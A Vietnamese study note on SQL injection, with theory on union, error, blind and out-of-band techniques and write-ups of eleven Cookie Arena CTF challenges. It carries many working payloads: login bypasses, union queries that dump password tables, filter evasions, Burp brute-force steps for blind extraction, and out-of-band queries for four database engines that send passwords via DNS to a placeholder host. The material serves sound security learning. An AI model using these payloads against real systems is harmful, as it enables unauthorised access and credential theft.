# Lí Thuyết.
## SQL là gì?
Học SQL cho beginer: http://sqlbolt.com
Sever sql online: http://sqliteonline.com
SQL là Structured Query Language (ngôn ngữ truy vấn có cấu trúc). Nó dùng để thao tác, truy vấn với cơ sở dữ liệu.
- `Select * from users Where user_id = 1` (tìm trong users và lấy ra user_id = 1)
- `INSERT into users(username, password) Values('ga','cookie'), ('haha', 'hehe')` (chèn dữ liệu vào bảng)
- `UPDATE users SET password = 'cookie' Where username = 'ga'` (nếu không có where nó sẽ set tất cả)
- `DELETE FROM users Where username = 'ga'` (nếu không có where nó sẽ xóa tất cả)
## SQL Injection hoạt động như thế nào.
Ví dụ có 1 trang web yêu cầu login, mình nhập `username = admin và password = cookie`
Khi đó phía Backend nó xử lí (ví dụ):
`Select * from users Where username = 'admin' AND password = 'cookie'`
Vậy nếu mình nhập `'` hay `admin'` ... thì sao
`Select * from users Where username = 'admin'' AND password = 'cookie'`
lúc đó câu truy vấn sẽ bị lỗi `MySQL: syntax error`
### Vô hiệu hóa đoạn mã SQL viết bởi LTV
#### Sử dụng comment trong SQL
Phần phía sau comment sẽ vô hiệu hóa.
- Dấu `--` ví dụ: `-- this is comment`
- Dấu `#` ví dụ: `# this is comment`
- Dấu `/**/` ví dụ: `/* this is comment */`
Phải có một khoảng trống phía sau dấu comment `--`
Một số LTV thường sử dụng loại bỏ khoảng trống phía trước và phía sau giá trị, tip là thêm kí tự sau khoảng trống ở chỗ comment, ví dụ: `admin -- -`
### login SQL injection
Ví dụ 1: trong database có `username = 'admin' AND password = 'cookie'`
Khi đó nếu người dùng nhập username = `admin'-- -` và password nhập tùy ý thì phía backend sẽ là:
`Select * from users Where username = 'admin'-- -' AND password = '...'`.
Ta thấy sau admin là comment, lúc này chương trình chỉ kiểm tra trong data có user admin không, nếu có thì login thành công.
Ví dụ 2: mình không biết username hay password và mình nhập `username = ' or 1=1 -- -` và pass tùy ý khi đó phía backend sẽ là:
`Select * from users Where username = '' or 1=1 -- -' AND password = '...'`.
Do 1=1 luôn True nên truy cập sẽ được login
### Chỉ định lấy dòng dữ liệu: LIMIT

## Tìm kiếm SQL Injection

#### SQLI trong câu lệnh INSERT
bài 3 với bài 5 ở dưới
## SQLI có thể làm những gì?
- Vượt qua cơ chế xác thực (Đăng nhập không cần tk, mk)
- Thu thập thông tin nhạy cảm trong cơ sở dữ liệu
- Thay đổi tính toàn vẹn của cơ sở dữ liệu (Insert, Update, Delete, Drop)
- Tạo ra các Backdoor, Webshell trên máy chủ (write file local)
- Thực thi lệnh hệ thống
# Các loại SQL Injection.
## In-band SQL Injection (Classic)
- Là loại SQLI phổ biến
- Dễ khai thác dữ liệu
- Có nhiều loại dữ liệu trả về
- Truy vấn cái gì dữ liệu trả về cái đó
### Union-based
Câu lệnh `UNION` trong sql dùng để gộp bảng
Sử dụng `union` để nối câu lệnh trước và câu lệnh sau, phục vụ cho khai thác dữ liệu
Lưu ý:
- Cùng số cột
- Cùng kiểu dữ liệu (tùy vào CSDL)

#### Đếm số cột
Đếm chay

Dùng `Order By`

#### Bước khai thác
- Xác định số cột
- Tìm kiếm tên bảng
- Tìm kiếm tên cột
- Khai thác dữ liệu
### Error-based
Error-based SQL injection là một dạng con của in-band SQL injection, trong đó kết quả trả về cho kẻ tấn công là **một chuỗi lỗi của cơ sở dữ liệu**.
**Impact**
Việc trả chuỗi lỗi cho kẻ tấn công có vẻ vô hại, nhưng tùy vào cấu trúc ứng dụng và loại cơ sở dữ liệu, kẻ tấn công có thể dùng chuỗi lỗi nhận được để:
* **Lấy thông tin về loại và phiên bản cơ sở dữ liệu**, từ đó áp dụng các kỹ thuật tấn công phù hợp cho từng loại/phiên bản.
* **Lấy thông tin về cấu trúc cơ sở dữ liệu** (ví dụ tên bảng, cột), giúp thực hiện các SQLi cụ thể hơn khi cấu trúc đã rõ.
* **Exfiltrate (trích xuất) dữ liệu từ database.** Dù quá trình này thường dài và phức tạp hơn so với việc hiển thị trực tiếp kết quả truy vấn, kẻ tấn công vẫn có thể thao tác lỗi để dần dần tống xuất dữ liệu.
---
**Ví dụ về error-based SQL injection**
Giả sử ta có câu truy vấn như sau:
```sql
SELECT * FROM users WHERE user_id = 'current_user'
```
Một hacker có ý đồ xấu có thể truyền vào `current_user` giá trị:
```
1'
```
Khi đó câu truy vấn trở thành:
```sql
SELECT * FROM users WHERE user_id = '1''
```
Dấu ngoặc đơn đơn bị lặp (`''`) ở cuối gây ra lỗi cú pháp trong cơ sở dữ liệu. Nếu máy chủ web được cấu hình hiển thị lỗi ra màn hình, kẻ tấn công có thể thấy thông báo như:
```
You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near "' at line 1
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean
given in /hj/var/www/query.php on line 37
```
Từ thông báo trên, kẻ tấn công ngay lập tức biết ứng dụng đang dùng **MySQL**, và có thể tập trung vào các tấn công đặc thù cho MySQL.
https://portswigger.net/web-security/learning-paths/sql-injection/sql-injection-error-based-sql-injection/sql-injection/blind/lab-conditional-errors
`TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'`
https://portswigger.net/web-security/learning-paths/sql-injection/sql-injection-error-based-sql-injection/sql-injection/blind/lab-sql-injection-visible-error-based
`TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--`
## Inferential SQL Injection (Blind)
- Khó khai thác dữ liệu
- Dữ liệu trả về chỉ có 2 giá trị Đúng,Sai hoặc Nhanh, Chậm hoặc Có, Không và ...
### Boolean-based
Bài writeup 10
### Time-based
Sử dụng thời gian làm đối số. Sử dụng if và dùng thời gian để xác định đúng sai.

Ví dụ chương trình cấm hàm sleep, có thể sử dụng hàm tốn nhiều thời gian hơn để thay thế, cái mình cần là thời gian để xác định đúng sai, ví dụ có thể dùng hàm:

## Content-based
Sử dụng một trang đơn giản, hiển thị một bài viết với ID đã cho làm tham số, kẻ tấn công có thể thực hiện một vài thử nghiệm đơn giản để xác định xem trang có dễ bị tấn công SQL
Ví dụ URL:
`http://newspaper.com/items.php?id=2`
gửi truy vấn sau tới cơ sở dữ liệu:
`SELECT title, description, body FROM items WHERE ID = 2`
Kẻ tấn công sau đó có thể thử chèn truy vấn trả về 'false':
`http://newspaper.com/items.php?id=2 and 1=2`
Bây giờ truy vấn SQL sẽ trông như thế này:
`SELECT title, description, body FROM items WHERE ID = 2 and 1=2`
Nếu ứng dụng web bị SQL Injection, thì có thể ứng dụng sẽ không trả về bất cứ thứ gì. Để chắc chắn, kẻ tấn công sẽ chèn một truy vấn trả về 'true':
`http://newspaper.com/items.php?id=2 and 1=1`
Nếu nội dung của trang trả về 'true' khác với nội dung của trang trả về 'false', thì kẻ tấn công có thể phân biệt được khi nào truy vấn được thực hiện trả về true hay false.
Khi điều này đã được xác minh, các hạn chế duy nhất là các đặc quyền được thiết lập bởi quản trị viên cơ sở dữ liệu, cú pháp SQL khác nhau và trí tưởng tượng của kẻ tấn công.
### Out-of-band SQL Injection (OOB)
OOB SQLi là một loại SQL injection trong đó kẻ tấn công **không nhận được phản hồi** từ ứng dụng bị tấn công qua cùng kênh liên lạc mà họ gửi truy vấn. Thay vào đó, kẻ tấn công khiến ứng dụng gửi dữ liệu tới một **điểm đầu cuối từ xa** do họ kiểm soát.
OOB SQLi chỉ khả thi nếu máy chủ cơ sở dữ liệu mà bạn dùng có các lệnh/hàm có thể kích hoạt các yêu cầu DNS hoặc HTTP. Tuy nhiên, điều này đúng với hầu hết các hệ quản trị cơ sở dữ liệu phổ biến.
#### Ví dụ OOB SQLi trên MySQL
Nếu server MySQL được khởi động với biến hệ thống toàn cục `secure_file_priv` rỗng (điều này là mặc định trên MySQL server 5.5.52 trở xuống và trong nhánh MariaDB), kẻ tấn công có thể tống xuất dữ liệu rồi dùng hàm `load_file` để tạo một yêu cầu tới một tên miền, chèn dữ liệu đã tống xuất vào yêu cầu đó.
Giả sử kẻ tấn công có thể chạy câu SQL sau trên cơ sở dữ liệu mục tiêu:
```sql
SELECT load_file(CONCAT('\\\\',(SELECT+@@version),'.',(SELECT+user),'.', (SELECT+password),'.',example.com\\test.txt'))
```
Câu lệnh trên sẽ khiến ứng dụng gửi một truy vấn DNS tới domain:
`database_version.database_user.database_password.example.com`
và qua đó lộ các dữ liệu nhạy cảm (phiên bản DB, tên user, mật khẩu của user) cho kẻ tấn công.
#### Ví dụ OOB SQLi trên PostgreSQL
Câu SQL sau đạt kết quả tương tự nếu ứng dụng dùng PostgreSQL:
```sql
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()RETURNS VOID AS $$ DECLARE exec_cmd TEXT;
DECLARE query_result_version TEXT;
DECLARE query_result_user TEXT;
DECLARE query_result_password TEXT;
BEGIN
SELECT INTO query_result_version (SELECT current_setting('server_version'));
SELECT INTO query_result_user (SELECT usename FROM pg_shadow);
SELECT INTO query_result_password (SELECT passwd FROM pg_shadow);
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result_version||'.'||query_result_user||'.'||query_result_password||E'.example.com\\\\test.txt\'';
EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
```
Thủ phạm ở đây là hàm `COPY` của PostgreSQL, vốn được thiết kế để di chuyển dữ liệu giữa file và bảng — nhưng trong ví dụ này nó cho phép kẻ tấn công dùng một file từ xa làm nguồn copy, từ đó gây ra yêu cầu tới máy chủ từ xa.
#### Ví dụ OOB SQLi trên Oracle
Nếu ứng dụng dùng Oracle, câu truy vấn sau đạt kết quả tương tự:
```sql
SELECT DBMS_LDAP.INIT(
(SELECT version FROM v$instance)||'.'||
(SELECT user FROM dual)||'.'||
(SELECT name FROM v$database)||'.'||example.com' ,80) FROM dual;
```
Ở đây OOB SQLi khả thi nhờ hàm `init()` trong package PL/SQL `DBMS_LDAP`, hàm này khởi tạo kết nối tới một LDAP server.
Tuy nhiên, `DBMS_LDAP` không phải là package Oracle duy nhất có thể dùng để tạo yêu cầu ra ngoài — ví dụ bạn cũng có thể dùng hàm `REQUEST` trong package `UTL_HTTP`.
#### Ví dụ OOB SQLi trên MS SQL
Nếu ứng dụng dùng MS SQL, câu sau đạt kết quả tương tự (nhưng **không** lấy mật khẩu):
```sql
DECLARE @a varchar(1024);
DECLARE @b varchar(1024);
SELECT @a = (SELECT system_user);
SELECT @b = (SELECT DB_Name());
EXEC('master..xp_dirtree"\\'+@a+''+'.'+''+@b+'example.com\test$"');
```
OOB SQLi này khả thi nhờ thủ tục lưu trữ `xp_dirtree`. Mặc dù ban đầu `xp_dirtree` dùng để liệt kê cây thư mục cục bộ, nó có thể bị lợi dụng để gây một tra cứu DNS (DNS lookup).
# Writeup SQLi COOKIE ARENA.
## 1. SQL Injection bypass login
link: https://battle.cookiearena.org/challenges/web/sql-injection-bypass-login
Khi nhập `Username = hhhai'` và `Password = hhhai` thì thấy lỗi `Internal Server Error`. Nó chứng tỏ bị SQLI.
Và mình đăng nhập với `Username = ' or 1=1 -- -` để login.
## 2. Simple SQL Injection Bypass Login
Link: https://battle.cookiearena.org/challenges/web/simple-sql-injection-bypass-login
`You can login with the credential "guest:guest". You can not guess the password of admin account.`
Khi nhập `Username = hhhai"` và `Password = hhhai` thì thấy lỗi `Internal Server Error`. Nó chứng tỏ bị SQLI.
Mình cần truy cập vào tài khoản `admin`
Và mình đăng nhập với Username = `admin" --` để login.
## 3. Baby Logger Middleware
Link: https://battle.cookiearena.org/challenges/web/baby-logger-middleware
```
We log all incoming requests in a Flask web application. The middleware should capture and log the following details for each request: the client's IP address, the user agent, the referer, the requested URL, any cookies sent by the client, and the timestamp of the request.
The logs should be stored in an SQLite database, and the log data should be displayed on the homepage of the web application. The logs should be displayed in reverse chronological order, with the most recent logs displayed first, and a maximum of 20 records should be displayed at a time.
If you can add the value HACKER_WAS_HERE to the ip_address column of the database. You will receive FLAG. Flat format is CHH{XXX}
```
Khi truy cập vào web:

Mục tiêu của mình là thay đổi và ghi dữ liệu vào.
Vào Burp Suite thay đổi dữ liệu `User Agent` thì ta thấy nó đã thay đổi

Đó là khi bình thường với `User Agent = hhhai` vậy nếu mình nhập với `hhhai', 'hehe` thì sao?
Nó thông báo lỗi:
```
An error occurred: (sqlite3.OperationalError) 7 values for 6 columns
[SQL: INSERT INTO logger (ip_address, user_agent, referer, url, cookie, created_at)
VALUES ('***', 'hhhai', 'hehe', 'None', 'http://103.97.125.56:32673/', 'None', '2025-03-05 11:33:40.738339');]
(Background on this error at: https://sqlalche.me/e/20/e3q8)
```
Từ lỗi cho ta thấy chương trình insert dữ liệu của mình vào bảng `logger`. Nhưng lỗi ở đây là có 6 cột mà mình nhập 7 dữ liệu vào, gây ra lỗi.
Trong sql, chèn dữ liệu vào bảng có thể
```
INSERT INTO users (id, username, password)
VALUES
(1, 'hhhai', 'pass1'),
(2, 'admin', 'pass2'),
(3, 'guest', 'pass3');
```
Vậy ý tưởng ở đây là mình nhiều dữ liệu, cho nó đầy dòng 1 và xuống dòng 2 nó sẽ bắt đầu chèn từ cột đầu.
Ví dụ mình ghi vào `User Agent: 1','2','3','4','5'),('6','7','8','9','10','11') --`

Ta thấy nó đã ghi tràn xuống và 6 vào IP, mà mình cần ghi dữ liệu khác vào IP, mình chỉ cần thay `6 = HACKER_WAS_HERE` là được. Khi đó `User Agent: 1','2','3','4','5'),('HACKER_WAS_HERE','7','8','9','10','11') --`
Vậy là có Flag.
## 4. Baby Address Note (sqlite)
Link: https://battle.cookiearena.org/challenges/web/baby-address-note
```
Ứng dụng quản lý địa chỉ nhân viên có tồn tại một lỗ hổng nghiêm trọng. Giá trị FLAG được lưu trong một bảng bí mật của cơ sở dữ liệu. Hãy vận dụng kinh nghiệm và kỹ năng của mình để khai thác nha
```
Tức là mình phải lấy được Flag, mà nó lưu ở bảng khác.

Bấm vào debug thì thấy chương trình dùng: `sqlite3`. Khi mình nhập vào id là 1,2,3,4 thì hiện ra thông tin.
Khi nhập `'` thì thông báo lỗi: `unrecognized token: "''';"`. Và khi nhập `' or 1=1 --` thì vẫn hiện thông tin bình thường. Nên web bị lỗi SQLI.
- Liệt kê danh sách bảng trong database (với sqlite): `' UNION SELECT name, type, NULL FROM sqlite_master WHERE type='table' --
` nó sẽ xuất hiện:
```
{'uid': 'flag_yHDXG', 'username': 'table', 'address': 'None'}
```
ta thấy có bảng `flag_yHDXG`
- Liệt kê cột của một bảng cụ thể: `' UNION SELECT sql, NULL, NULL FROM sqlite_master WHERE name='flag_yHDXG' --
` nó sẽ xuất hiện
```
{'uid': 'CREATE TABLE `flag_yHDXG` ( \n `flag` TEXT NOT NULL\n)', 'username': 'None', 'address': 'None'}
```
- Lấy flag từ bảng: `' UNION SELECT flag, NULL, NULL FROM flag_yHDXG --` và có Flag.
**`UNION` trong SQL**
Lệnh `UNION` được dùng để gộp kết quả của hai hoặc nhiều truy vấn `SELECT` lại với nhau. Các truy vấn phải có số lượng cột giống nhau. Ví dụ:
```
SELECT cot1, cot2 FROM table1
UNION
SELECT cot1, cot2 FROM table2;
```
## 5. Logger Middleware
Link: https://battle.cookiearena.org/challenges/web/logger-middleware
```
We log all incoming requests in a Flask web application. The middleware should capture and log the following details for each request: the client's IP address, the user agent, the referer, the requested URL, any cookies sent by the client, and the timestamp of the request.
The logs should be stored in an SQLite database, and the log data should be displayed on the homepage of the web application. The logs should be displayed in reverse chronological order, with the most recent logs displayed first, and a maximum of 20 records should be displayed at a time.
In addition, the challenge also involves handling potential SQL injection attacks. We have implemented a function to sanitise user inputs and prevent such attacks, demonstrating safe coding practices. This function removes special characters from the user inputs before inserting them into the SQL queries.
You have to find the FLAG storing a table in the database. Flat format is CHH{XXX}
```


Bài này thì phần đầu giống bài 3, mình check thấy lỗi sqli, chương trình dùng sqlite3. Flag được lưu ở bảng khác nên ta vẫn cần tìm: số cột(đã có) => tên bảng => cột của bảng => leak dữ liệu.
Ví dụ mình ghi vào `User Agent: 1','2','3','4','5'),('6','7','8','9','10','11') --`

Xem các bảng:
`User-Agent: 1','2','3','4','5'),('6','7','8','9','10','11') UNION SELECT name, type, NULL,null,null,null FROM sqlite_master WHERE type='table' -- -`

Ta thấy có bảng flag, tiếp theo xem cột của bảng flag. `User-Agent: 1','2','3','4','5'),('6','7','8','9','10','11') UNION SELECT sql, NULL, NULL,null,null,null FROM sqlite_master WHERE name='flag' --`

Ta thấy có cột `secr3t_flag`. xem dữ liệu và có flag: `User-Agent: 1','2','3','4','5'),('6','7','8','9','10','11') UNION SELECT secr3t_flag, NULL, NULL,null,null,null FROM flag --`
## 6. SQL injection vulnerability in WHERE clause
Link: https://battle.cookiearena.org/challenges/web/sql-injection-vulnerability-in-where-clause
Bài này không cho phép mình nhập, chỉ click xem thôi, có food, pet, flag. Ví dụ mình click vào food thì url là: `http://103.97.125.56:30145/list?category=food` mình thử thêm `'` vào sau, tức là: `http://103.97.125.56:30145/list?category=food'` thì thấy lỗi này.

Do vậy mình nhập `http://103.97.125.56:30145/list?category=' or 1=1 --'` thì thấy xuất hiện luôn flag rồi.
## 7. Baby SQLite With Filter
Link: https://battle.cookiearena.org/challenges/web/baby-sqlite-with-filter
```
You cannot create the query because we have blocked the following keywords.
Challenge you to bypass it, how to know after each SQL Keyword you will be used what SQL statement.
The blacklist sqli_filter = '[', ']', ',', 'admin', 'select', ''', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' '.
The vulnerable parameter is 'level' in Login function.
Goodluck guys (`∀´)Ψ
```
Mình nhập bất cứ cái gì ngoài filter đều hiển thị good.

Đề cho mình source, tải về xem thì thấy chương trình dùng `sqlite3` và điều quan trọng:
```
sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
with app.app_context():
conn = get_db()
query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
try:
req = conn.execute(query)
result = req.fetchone()
if result is not None:
uid = result[0]
if uid == 'admin':
return FLAG
except Exception as e:
print(e)
return 'Error!'
return 'Good!'
```
Chương trình cho phép mình điền `uid` và `upw` nhưng truy vấn thêm cả `level`, do vậy mình có thể tận dụng nó và chỉnh sửa sao cho `uid == admin` để có flag.
Nếu không bị filter thì câu lệnh sẽ là:
`SELECT uid FROM users WHERE uid='hhh' and upw='hhh' and level=0 union select 'admin';`

Mình cần thêm: `&level=0 union select 'admin'` vào burpsuite, nhưng đây nó đã filter `khoảng trắng, select, admin, '`
- Khoảng trắng thì mình có thể thay bằng comment: `/**/`
- `admin` mình có thể nối từng kí tự: `char(97)||char(100)||char(109)||char(105)||char(110)` dùng `||` để nối các kí tự
- Sau khi tra google thì thấy được trong `sqlite` thì `values` có thể thay thế được cho `select`
Câu lệnh cuối cùng:
`SELECT uid FROM users WHERE uid='hhh' and upw='hhh' and level=0/**/union/**/VALUES(char(97)||char(100)||char(109)||char(105)||char(110));
`

## 8. Simple SQLi
Link: https://battle.cookiearena.org/challenges/web/simple-sqli
```
The system will check your userlevel entered. If it is 0, it will say guest.
But in the database, 0 is also "admin". The system will check if userid returns admin, then FLAG will be displayed.
Please try to log in to the admin account
```
Đề cho source và thấy:
```
db.execute(
'create table users(userid char(100), userpassword char(100), userlevel integer);')
db.execute(
f'insert into users(userid, userpassword, userlevel) values ("guest", "guest", 0), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}", 0);')
res = query_db(f"select * from users where userlevel='{userlevel}'")
if res:
userid = res[0]
userlevel = res[2]
if userid == 'admin' and userlevel == 0:
return f'hello {userid} flag is {FLAG}'
```
Test thì thấy có sqli, điều mình cần là `userid == 'admin' and userlevel == 0`
Chương trình đã tạo bảng và thêm sẵn giá trị vào đó rồi.
payload = `0' and userid = 'admin' -- -`
## 9. The Book Store
Link: https://battle.cookiearena.org/challenges/vulnerable-web/the-book-store
Thử thêm dấu `'` vào sau thì thấy lỗi, và chương trình dùng `mysql`.

Tiếp theo thì mình dùng `order by` và xác định được 15 cột.
Sau đó:
`GET /description.php?ID=HEA-2' and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 -- - HTTP/1.1`
Đánh số để biết chỗ dữ liệu mình cần nằm ở đâu, `and 1=2` là để xóa dữ liệu nằm trước đó của cái `union`

Tiếp theo là tên bảng và tên cột, trong `mysql` thì mình có:
Tên bảng:
```
GET /description.php?ID=HEA-2' and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,group_concat(unhex(hex(table_name))),13,14,15 from information_schema.tables WHERE table_schema = DATABASE() -- - HTTP/1.1
```
Lúc đầu chỉ dùng `table_name` thấy lỗi, chắc do endcoding nên thêm `unhex và hex`. Dùng `group_concat` để liệt kê một lần luôn thay vì dùng `limit x,y`
Tên cột của bảng cụ thể, ví dụ bảng `users`:
```
GET /description.php?ID=HEA-2' and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,group_concat(unhex(hex(column_name))),13,14,15 from information_schema.columns WHERE table_schema = DATABASE() and table_name='users' -- - HTTP/1.1
```
Mình có thể lấy các user và password:
`GET /description.php?ID=HEA-2' and 1=2 union select 1,group_concat(UserName),group_concat(Password),4,5,6,7,8,9,10,11,12,13,14,15 from users -- - HTTP/1.1`
Ta đã thấy các user và password tương ứng:

Logout và Login lại với tài khoản admin:

### Khác
Cách trên là theo tác giả, và dưới đây là cách mình khai thác ở chỗ khác.

Thêm dấu `'` vào url như trên thì thấy lỗi sqli và biết chương trình dùng `mysql`
- Đầu tiên thì nhập vào ô tìm kiếm `'` thấy lỗi sql nhưng nhập `' or 1=1 -- -` thì thấy bình thường.
- Tiếp theo dùng `' order by X -- -` và xác định được 15 cột.
- Vẫn đánh dấu và xem hiển thị, nhập vào ô tìm kiếm:
`' and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 -- -`

Thay 3,5,6,7 = version() xem thử sao.

đó là các chỗ output của dữ liệu, tiếp theo tìm tên bảng, tên cột
`' and 1=2 union select 1,2,group_concat(unhex(hex(table_name))),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables WHERE table_schema = DATABASE() -- -`
ta có các bảng:

Tiếp theo lấy các cột trong bảng `users`:
`' and 1=2 union select 1,2,group_concat(unhex(hex(column_name))),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns WHERE table_schema = DATABASE() and table_name = 'users' -- -`
Ta có các cột:

Tiếp theo lấy danh sách user và password:
`' and 1=2 union select 1,2,3,4,5,UserName,Password,8,9,10,11,12,13,14,15 from users -- -`

có tài khoản admin:

lưu ý cái '%' không phải là kí tự mật khẩu do ban đầu nó là giảm bao nhiêu '%'
Logout tài khoản và đăng nhập tài khoản admin thành công.
## 10.Simple Blind SQL Injection
Link: https://battle.cookiearena.org/challenges/web/simple-blind-sql-injection
```
Exploit blind sqli to get admin password, then login at "/login" to get flag.
Password contains [a-z0-9_] and the column is upw
```
Nhập `'` sẽ đưa mình đến trang lỗi và biết rằng chương trình dùng `sqlite`
Output chỉ là `User X not found!` hoặc là `User X exists`
Nhập `admin' or 1=1 -- -` thì thấy vẫn được.

Cái mình cần là mật khẩu, vậy trước tiên tìm độ dài của mật khẩu đã. Đề có cho cột password là : `upw`
`admin' and (select length(upw) from users Where uid = 'admin') BETWEEN 1 AND 20 -- -`

Có thể dùng >< hay between để xác định độ dài mật khẩu, exits tức là đúng. Ở đây xác định được độ dài là 13.
Đề cho `Password contains [a-z0-9_]` Tiếp theo mình cần kiểm tra từng kí tự của mật khẩu. Ví dụ với kí tự đầu tiên, kiểm tra xem có phải 'a' hay không.
Trong sqlite, hàm `substr( string, start, length )` để cắt từng kí tự:

Ý tưởng là kiểm tra từng kí tự như vậy, tiếp theo vào Burp Suite và thực hiện tiếp.

Do có 2 giá trị cần thay đổi, từ 0 đến 13 và a,b,c... nên cần chuyển qua chế độ `Cluster bomb attack`. Sau đó add vào 2 biến 0 và a (vị trí cần thay đổi, đang bôi đen)

Bên cạnh có mục payload, ở vị trí payload 1, chọn kiểu numbers và số chạy từ 0 đến 13 do độ dài pass 13 kí tự.

Ở payload 2 chọn kiểu Brute forcer và thêm các kí tự của pass vào `character set`, do tìm từng kí tự nên min, max length cho bằng 1.
Và bấm start attack.

Nhìn vào status code và response giống giông nhau không phân biệt được, nên mẹo là vào phần setting bên phía phải, ở phần `Grep Match` hãy `clear` và thêm thông tin để phân biệt, ví dụ ở đâu output là `exists` và `not found` thì mình thêm 2 cái đó vào.

Cái mình cần là cái exit, do đó bôi màu nó, tích filter ở góc trái show highlight để hiển thị mỗi highlight thôi.

Sau đó tích nơi payload1, tức thứ tự là có password, quay ra và đăng nhập vào admin thôi.
## 11. Likeness
```
I've heard so much about SQL injection, so I've used parameterized queries here! Using the endpoint /source to view the source code for easier to exploit the bugs
```
Đề cho mình source ta thấy chương trình dùng `sqlite3` và có chỗ mình cần lưu ý:
```
res = cur.execute("SELECT * from authors where last LIKE ?",
(request.args['lastname'].replace("%", ""),))
INSERT INTO authors VALUES
("Tobias", '', "Smollett"),
("William", '', "Shakespeare"),
("Edward", "Morgan", "Forster"),
("George", "", "Eliot"),
("Louisa", "May", "Alcott"),
("Lucy", "Maud", "Montgomery"),
("Frank", "T.", "Merill"),
("Herman", "", "Melville"),
("Alexandre", "", "Dumas"),
("Elizabeth", "", "Von Arnim"),
("Pseudonymous", "Unpuzzler7", "{open("/flag.txt").read()}")
```
Flag nằm ở lastname, mà chương trình yêu cầu mình nhập lastname để xem các thông tin còn lại. Ta thấy chương trình dùng `LIKE` và đã thay `%` bằng rỗng rồi nên không thể `CHH{%` được nữa.
Ta có câu truy vấn `LIKE '_'` với bao nhiêu `_` thì sẽ in ra kết quả với số kí tự tương ứng.
Ví dụ mình nhập 5 dấu `_` thì chương trình sẽ in ra các kết quả với độ dài là 5.

có thể làm thủ công nhưng lâu, nên sẽ vào burpsuite và bruteforce nó.

Ví dụ mình thử độ dài flag từ 1 đến 100.

Nhìn vào length thấy bất thường ở vị trí 56.

# References
https://www.youtube.com/watch?v=Eg0jjrYr8GU&t=6006s
https://www.youtube.com/watch?v=j9J17juXxi0&t=3436s
https://portswigger.net/web-security/sql-injection
https://portswigger.net/web-security/sql-injection/cheat-sheet